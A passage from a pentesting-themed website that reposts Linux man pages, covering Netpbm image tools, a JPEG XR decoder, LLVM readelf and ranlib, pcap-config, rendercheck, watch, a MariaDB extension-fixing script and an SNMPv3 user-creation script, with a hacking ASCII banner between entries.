pamoil reads a Netpbm image as input and does an “oil transfer”, and writes the same type of Netpbm image as output.

The oil transfer is described in “Beyond Photography” by Holzmann, chapter 4, photo 7. It’s a sort of localized smearing.

The smearing works like this: First, assume a grayscale image. For each pixel in the image, pamoil looks at a square neighborhood around it. pamoil determines what is the most common pixel intensity in the neighborhood, and puts a pixel of that intensity into the output in the same position as the input pixel.

For color images, or any arbitrary multi-channel image, pamoil computes each channel (e.g. red, green, and blue) separately the same way as the grayscale case above.

At the edges of the image, where the regular neighborhood would run off the edge of the image, pamoil uses a clipped neighborhood.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamoil recognizes the following command line option:

-n size
This is the size of the neighborhood used in the smearing. The neighborhood is this many pixels in all four directions.

The default is 3.

SEE ALSO

pgmbentley(1) , ppmrelief(1) , ppm(1)

AUTHOR

This program is based on pgmoil Copyright (C) 1990 by Wilson Bent ([email protected])

Modified to ppm by Chris Sheppard, June 25, 2001

Modified to pnm, using pam functions, by Bryan Henderson June 28, 2001.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamoil.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1357 - Linux cli command pgmnorm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmnorm and provides detailed information about the command pgmnorm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmnorm.

.

NAME 🖥️ pgmnorm 🖥️

replaced by pnmnorm

DESCRIPTION

This program is part of Netpbm(1) .

pgmnorm was replaced in Netpbm 9.25 (March 2002) by pnmnorm(1) .

pnmnorm is backward compatible with pgmnorm, but it also handles PPM images.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmnorm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1358 - Linux cli command JxrDecApp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command JxrDecApp and provides detailed information about the command JxrDecApp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the JxrDecApp.

NAME 🖥️ JxrDecApp 🖥️

JPEG XR Decoder Utility

DESCRIPTION

JPEG XR Decoder Utility Copyright 2013 Microsoft Corporation - All Rights Reserved

./debian/tmp/usr/bin/JxrDecApp [options]…

-i input.jxr/wdp
Input JPEG XR/HD Photo file name

-o output.bmp/pnm/tif/jxr
Output image file name bmp: <=8bpc, BGR pnm: >=8bpc, RGB tif: >=8bpc, RGB jxr: for compressed domain transcode

-c format
Specifies the uncompressed output format 0: 24bppBGR 1: 1bppBlackWhite 2: 8bppGray 3: 16bppGray 4: 16bppGrayFixedPoint 5: 16bppGrayHalf 7: 32bppGrayFixedPoint 8: 32bppGrayFloat 9: 24bppRGB

10: 48bppRGB
11: 48bppRGBFixedPoint 12: 48bppRGBHalf 14: 96bppRGBFixedPoint 15: 128bppRGBFloat 16: 32bppRGBE 17: 32bppCMYK 18: 64bppCMYK 22: 32bppBGRA 23: 64bppRGBA 24: 64bppRGBAFixedPoint 25: 64bppRGBAHalf 27: 128bppRGBAFixedPoint 28: 128bppRGBAFloat 29: 16bppBGR555 30: 16bppBGR565 31: 32bppBGR101010 32: 40bppCMYKA 33: 80bppCMYKA 34: 32bppBGR

-r top left height width
Specifies the rectangle for region decode

-T m
Reduced resolution (mipmap) decode 0: Full resolution (default) 1: 1/2 res (down-sampled from full res) 2: 1/4 res (native decode) 3: 1/8 res (down-sampled from 1/4 res) 4: 1/16 res (native decode)

>4: 1/(2^m) res (down-sampled from 1/16 res)

-O orientation
0: No transformation (default) 1: Flip vertically 2: Flip horizontally 3: Flip vertically & horizontally 4: Rotate 90 degrees CW 5: Rotate 90 degrees CW & flip vertically 6: Rotate 90 degrees CW & flip horizontally 7: Rotate 90 degrees CW & flip vert & horiz

-s skip subbands
Used for compressed domain transcoding 0: All subbands included (default) 1: Skip flexbits 2: Skip highpass 3: Skip highpass & lowpass (DC only)

-a alpha decode
0: Decode without alpha channel 1: Decode only alpha channel 2: Decode image & alpha (default)

-p strength
Post processing filter strength 0: None (default) 1: Light 2: Medium 3: Strong 4: Very strong

-C
Suppress overlapping boundary macro blocks (Used for compressed domain tile extraction)

-t
Display timing information

-v
Display verbose decoder information

Eg: ./debian/tmp/usr/bin/JxrDecApp -i input.jxr -o output.bmp -c 0

AUTHOR

This manual page was written by Mathieu Malaterre <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1359 - Linux cli command llvm-readelf-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-readelf-16 and provides detailed information about the command llvm-readelf-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-readelf-16.

NAME 🖥️ llvm-readelf-16 🖥️

readelf - GNU-style LLVM Object Reader

SYNOPSIS

llvm-readelf [options] [input…]

DESCRIPTION

The llvm-readelf tool displays low-level format-specific information about one or more object files.

If input is “-”, llvm-readelf reads from standard input. Otherwise, it will read from the specified filenames.

OPTIONS

–all, -a
Equivalent to specifying all the main display options relevant to the file format.

–addrsig
Display the address-significance table.

–arch-specific, -A
Display architecture-specific information, e.g. the ARM attributes section on ARM.

–bb-addr-map
Display the contents of the basic block address map section(s), which contain the address of each function, along with the relative offset of each basic block.

–demangle, -C
Display demangled symbol names in the output.

–dependent-libraries
Display the dependent libraries section.

–dyn-relocations
Display the dynamic relocation entries.

–dyn-symbols, –dyn-syms
Display the dynamic symbol table.

–dynamic-table, –dynamic, -d
Display the dynamic table.

–cg-profile
Display the callgraph profile section.

–histogram, -I
Display a bucket list histogram for dynamic symbol hash tables.

–elf-linker-options
Display the linker options section.

–elf-output-style=<value>
Format ELF information in the specified style. Valid options are LLVM, GNU, and JSON. LLVM output is an expanded and structured format. GNU (the default) output mimics the equivalent GNU readelf output. JSON is JSON formatted output intended for machine consumption.

–section-groups, -g
Display section groups.

–expand-relocs
When used with –relocations, display each relocation in an expanded multi-line format.

–file-header, -h
Display file headers.

–gnu-hash-table
Display the GNU hash table for dynamic symbols.

–hash-symbols
Display the expanded hash table with dynamic symbol data.

–hash-table
Display the hash table for dynamic symbols.

–headers, -e
Equivalent to setting: –file-header, –program-headers, and –sections.

–help
Display a summary of command line options.

–hex-dump=<section[,section,…]>, -x
Display the specified section(s) as hexadecimal bytes. section may be a section index or section name.

–needed-libs
Display the needed libraries.

–no-demangle
Do not display demangled symbol names in the output. On by default.

–notes, -n
Display all notes.

–pretty-print
When used with –elf-output-style, JSON output will be formatted in a more readable format.

–program-headers, –segments, -l
Display the program headers.

–raw-relr
Do not decode relocations in RELR relocation sections when displaying them.

–relocations, –relocs, -r
Display the relocation entries in the file.

–sections, –section-headers, -S
Display all sections.

–section-data
When used with –sections, display section data for each section shown. This option has no effect for GNU style output.

–section-details, -t
Display all section details. Used as an alternative to –sections.

–section-mapping
Display the section to segment mapping.

–section-relocations
When used with –sections, display relocations for each section shown. This option has no effect for GNU style output.

–section-symbols
When used with –sections, display symbols for each section shown. This option has no effect for GNU style output.

–stackmap
Display contents of the stackmap section.

–stack-sizes
Display the contents of the stack sizes section(s), i.e. pairs of function names and the size of their stack frames. Currently only implemented for GNU style output.

–string-dump=<section[,section,…]>, -p
Display the specified section(s) as a list of strings. section may be a section index or section name.

–symbols, –syms, -s
Display the symbol table. Also display the dynamic symbol table when using GNU output style for ELF.

–unwind, -u
Display unwind information.

–version
Display the version of the llvm-readelf executable.

–version-info, -V
Display version sections.

–wide, -W
Ignored for GNU readelf compatibility. The output is already similar to when using -W with GNU readelf.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-readelf returns 0 under normal operation. It returns a non-zero exit code if there were any errors.

SEE ALSO

llvm-nm(1), llvm-objdump(1), llvm-readobj(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1360 - Linux cli command pcap-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcap-config and provides detailed information about the command pcap-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcap-config.

NAME 🖥️ pcap-config 🖥️

config - write libpcap compiler and linker flags to standard output

SYNOPSIS

pcap-config [ –static ] [ –cflags | –libs | –additional-libs ]

DESCRIPTION

When run with the –cflags option, pcap-config writes to the standard output the -I compiler flags required to include libpcap’s header files. When run with the –libs option, pcap-config writes to the standard output the -L and -l linker flags required to link with libpcap, including -l flags for libraries required by libpcap. When run with the –additional-libs option, pcap-config writes to the standard output the -L and -l flags for libraries required by libpcap, but not the -lpcap flag to link with libpcap itself.

By default, it writes flags appropriate for compiling with a dynamically-linked version of libpcap; the –static flag causes it to write flags appropriate for compiling with a statically-linked version of libpcap.

SEE ALSO

pcap(3PCAP)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1361 - Linux cli command rendercheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rendercheck and provides detailed information about the command rendercheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rendercheck.

NAME 🖥️ rendercheck 🖥️

simple tests of the X Render extension.

SYNOPSIS

rendercheck [-d|--display display] [-i|--iter] [--sync] [-t|--tests test1,test2,test3,...] [-o|--ops op1,op2,op3,...]
[-v|--verbose] [--minimalrendering]

DESCRIPTION

rendercheck is a set of simple tests of the X Render extension. It is designed for authors of Render implementations in X Servers.

OPTIONS

-d|–display display
Specifies the display to test against.

-i|–iter iterations
Specifies the number of times to repeat each operation before sampling results. Some X Servers may behave differently (hardware vs software rendering paths) depending on the previous operations done, so this may be used to influence the server’s choices.

–sync
Enables synchronous xlib operation, for debugging.

-t|–tests test1,test2,test3…
Enables only a specific subset of the possible tests. Test names include fill, dcoords, scoords, mcoords, tscoords, tmcoords, blend, composite, cacomposite, gradients, repeat, triangles, and bug7366. Names must be separated by commas and have no spaces.

-f|–formats format1,format2,format3…
Enables only a specific subset of the possible formats. Only formats listed in the server-supported format list are available. Names must be separated by commas and have no spaces.

-o|–ops
Enables only a specific subset of the Render operators.

-v|–verbose
Enables verbose printing of information on tests run, and successes and failures.

–minimalrendering
Disables copying of offscreen destinations to the window, which is on by default to provide the user with visual feedback.

BUGS

Several limitations are documented in the TODO file accompanying the source. Please report any further bugs you find to http://bugs.freedesktop.org/.

AUTHORS

Eric Anholt, with help from Keith Packard.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1362 - Linux cli command llvm-ranlib-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ranlib-17 and provides detailed information about the command llvm-ranlib-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ranlib-17.

NAME 🖥️ llvm-ranlib-17 🖥️

ranlib - manual page for llvm-ranlib 17

DESCRIPTION

OVERVIEW: LLVM ranlib

Generate an index for archives

USAGE: llvm-ranlib archive…

OPTIONS:

-h –help - Display available options

-v –version - Display the version of this program

-D - Use zero for timestamps and uids/gids (default)

-U - Use actual timestamps and uids/gids

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1363 - Linux cli command watch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command watch and provides detailed information about the command watch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the watch.

NAME 🖥️ watch 🖥️

execute a program periodically, showing output fullscreen

SYNOPSIS

watch [options] command

DESCRIPTION

watch runs command repeatedly, displaying its output and errors (the first screenfull). This allows you to watch the program output change over time. By default, command is run every 2 seconds and watch will run until interrupted.

OPTIONS

-b, –beep
Beep if command has a non-zero exit.

-c, –color
Interpret ANSI color and style sequences.

-C, –no-color
Do not interpret ANSI color and style sequences.

-d, –differences[=permanent]
Highlight the differences between successive updates. If the optional permanent argument is specified then watch will show all changes since the first iteration.

-e, –errexit
Freeze updates on command error, and exit after a key press.

-g, –chgexit
Exit when the output of command changes.

-n, –interval seconds
Specify update interval. The command will not allow quicker than 0.1 second interval, in which the smaller values are converted. Both ‘.’ and ‘,’ work for any locales. The WATCH_INTERVAL environment can be used to persistently set a non-default interval (following the same rules and formatting).

-p, –precise
Make watch attempt to run command every –interval seconds. Try it with ntptime (if present) and notice how the fractional seconds stays (nearly) the same, as opposed to normal mode where they continuously increase.

-q, –equexit <cycles>
Exit when output of command does not change for the given number of cycles.

-r, –no-rerun
Do not run the program on terminal resize, the output of the program will re-appear at the next regular run time.

-t, –no-title
Turn off the header showing the interval, command, and current time at the top of the display, as well as the following blank line.

-w, –no-wrap
Turn off line wrapping. Long lines will be truncated instead of wrapped to the next line.

-x, –exec
Pass command to exec(2) instead of sh -c which reduces the need to use extra quoting to get the desired effect.

-h, –help
Display help text and exit.

-v, –version
Display version information and exit.

EXIT STATUS

0
Success.

1
Various failures.

2
Forking the process to watch failed.

3
Replacing child process stdout with write side pipe failed.

4
Command execution failed.

5
Closing child process write pipe failed.

7
IPC pipe creation failed.

8
Getting child process return value with waitpid(2) failed, or command exited up on error.

other
The watch will propagate command exit status as child exit status.

ENVIRONMENT

The behavior of watch is affected by the following environment variables.

WATCH_INTERVAL
Update interval, follows the same rules as the –interval command line option.

NOTES

POSIX option processing is used (i.e., option processing stops at the first non-option argument). This means that flags after command don’t get interpreted by watch itself.

BUGS

Upon terminal resize, the screen will not be correctly repainted until the next scheduled update. All –differences highlighting is lost on that update as well. When using the –no-rerun option, no output of will be visible.

Non-printing characters are stripped from program output. Use cat -v as part of the command pipeline if you want to see them.

Combining Characters that are supposed to display on the character at the last column on the screen may display one column early, or they may not display at all.

Combining Characters never count as different in –differences mode. Only the base character counts.

Blank lines directly after a line which ends in the last column do not display.

–precise mode doesn’t yet have advanced temporal distortion technology to compensate for a command that takes more than –interval seconds to execute. watch also can get into a state where it rapid-fires as many executions of command as it can to catch up from a previous executions running longer than –interval (for example, netstat(8) taking ages on a DNS lookup).

EXAMPLES

To watch for mail, you might do

watch -n 60 from

To watch the contents of a directory change, you could use

watch -d ls -l

If you’re only interested in files owned by user joe, you might use

watch -d ’ls -l | fgrep joe’

To see the effects of quoting, try these out

watch echo $$
watch echo ‘$$’
watch echo “’”’$$’"’"

To see the effect of precision time keeping, try adding -p to

watch -n 10 sleep 1

You can watch for your administrator to install the latest kernel with

watch uname -r

(Note that -p isn’t guaranteed to work across reboots, especially in the face of ntpdate (if present) or other bootup time-changing mechanisms)

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1364 - Linux cli command mariadb-fix-extensions

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-fix-extensions and provides detailed information about the command mariadb-fix-extensions, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-fix-extensions.

NAME 🖥️ mariadb-fix-extensions 🖥️

fix-extensions - normalize table file name extensions (mysql_fix_extensions is now a symlink to mariadb-fix-extensions)

SYNOPSIS

mysql_fix_extensions data_dir

DESCRIPTION

This script is deprecated and will be removed in a later release.

mysql_fix_extensions converts the extensions for MyISAM (or ISAM) table files to their canonical forms. It looks for files with extensions matching any lettercase variant of .frm, .myd, .myi, .isd, and .ism and renames them to have extensions of .frm, .MYD, .MYI, .ISD, and .ISM, respectively. This can be useful after transferring the files from a system with case-insensitive file names (such as Windows) to a system with case-sensitive file names.

Invoke mysql_fix_extensions like this, where data_dir is the path name to the MySQL data directory.

shell> mysql_fix_extensions data_dir

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1365 - Linux cli command net-snmp-create-v3-user

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command net-snmp-create-v3-user and provides detailed information about the command net-snmp-create-v3-user, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the net-snmp-create-v3-user.

NAME 🖥️ net-snmp-create-v3-user 🖥️

snmp-create-v3-user - create a SNMPv3 user in net-snmp configuration file

SYNOPSIS

net-snmp-create-v3-user [-ro] [-a authpass] [-x privpass] [-X DES|AES] [username]

DESCRIPTION

The net-snmp-create-v3-user shell script is designed to create a new user in net-snmp configuration file (/var/net-snmp/snmpd.conf by default).

OPTIONS

–version
displays the net-snmp version number

-ro
create an user with read-only permissions

-a authpass
specify authentication password

-x privpass
specify encryption password

-X DES|AES
specify encryption algorithm

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1366 - Linux cli command pamtris

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtris and provides detailed information about the command pamtris, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtris.

.

NAME 🖥️ pamtris 🖥️

triangle rasterizer featuring perspective-correct interpolation of generic vertex attributes and depth buffering

SYNOPSIS

pamtris

**-width=**width

**-height=**height

{ **-num_attribs=**attributes_per_vertex [ **-tupletype=**tupletype ] | -rgb | -grayscale }

[ **-maxval=**maxval ]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtris can be used to draw a great variety of 2D and 3D graphics by composing arbitrarily complex pictures out of separate triangles, triangle strips and triangle fans. The program reads instructions written in a simple command script notation from Standard Input and outputs its results as a (potentially multi-image) PAM stream on Standard Output.

For example, the following input

      mode fan
      attribs 0 128 0
      vertex 0 0 1
      attribs 0 0 128
      vertex 200 0 1
      attribs 50 20 103
      vertex 190 61 1
      attribs 100 40 78
      vertex 161 117 1
      attribs 150 60 53
      vertex 117 161 1
      attribs 200 80 28
      vertex 61 190 1
      attribs 250 100 3
      vertex 0 200 1
      print

produces this:

Example pamtris output for FAN mode

The input file gives triangle data by setting the appropriate drawing mode, if necessary, and then providing a list of vertices. Each vertex is also associated with a list of up to 20 “attributes,” which are integer values between 0 and a given maxval. In the most common usage, you use pamtris to draw a visual image and a vertex has three attributes, which are an RGB specification of a color. Such attribute lists may be provided on a per-vertex basis.

